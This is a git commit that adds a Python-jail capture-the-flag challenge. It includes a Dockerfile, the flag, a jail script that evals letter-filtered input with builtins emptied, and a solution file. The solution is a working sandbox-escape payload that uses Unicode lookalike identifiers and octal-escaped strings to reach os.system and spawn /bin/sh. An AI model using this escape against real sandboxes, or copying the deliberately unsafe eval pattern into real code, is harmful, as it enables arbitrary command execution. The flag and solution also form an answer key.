chals: add __calc__
This commit is contained in:
parent
942db4f569
commit
bc189fd0b2
4 changed files with 22 additions and 0 deletions
6
calc/Dockerfile
Normal file
6
calc/Dockerfile
Normal file
|
@ -0,0 +1,6 @@
|
|||
FROM pwn.red/jail
|
||||
COPY --from=python@sha256:bc78d3c007f86dbb87d711b8b082d9d564b8025487e780d24ccb8581d83ef8b0 / /srv
|
||||
COPY jail.py /srv/app/run
|
||||
COPY flag.txt /srv/app/flag.txt
|
||||
|
||||
ENV JAIL_PORT=1338
|
1
calc/flag.txt
Normal file
1
calc/flag.txt
Normal file
|
@ -0,0 +1 @@
|
|||
HoD2024{Styl3_and_R3fl3ct10n}
|
14
calc/jail.py
Executable file
14
calc/jail.py
Executable file
|
@ -0,0 +1,14 @@
|
|||
#!/usr/bin/python3
|
||||
# py calc
|
||||
alphanumeric = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
|
||||
while True:
|
||||
payload = input("I'll crunch your number, not letters!\n")
|
||||
if (any(c in alphanumeric for c in payload)):
|
||||
print("NO!")
|
||||
continue
|
||||
try:
|
||||
print(eval(payload, {'__builtins__': {}}, {}))
|
||||
except Exception as e:
|
||||
print("something went wrong")
|
||||
print(e.__class__)
|
1
calc/sol
Normal file
1
calc/sol
Normal file
|
@ -0,0 +1 @@
|
|||
().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[-5].__𝘪𝘯𝘪𝘵__.__𝘨𝘭𝘰𝘣𝘢𝘭𝘴__["\163\171\163\164\145\155"]("\57\142\151\156\57\163\150")
|
Loading…
Reference in a new issue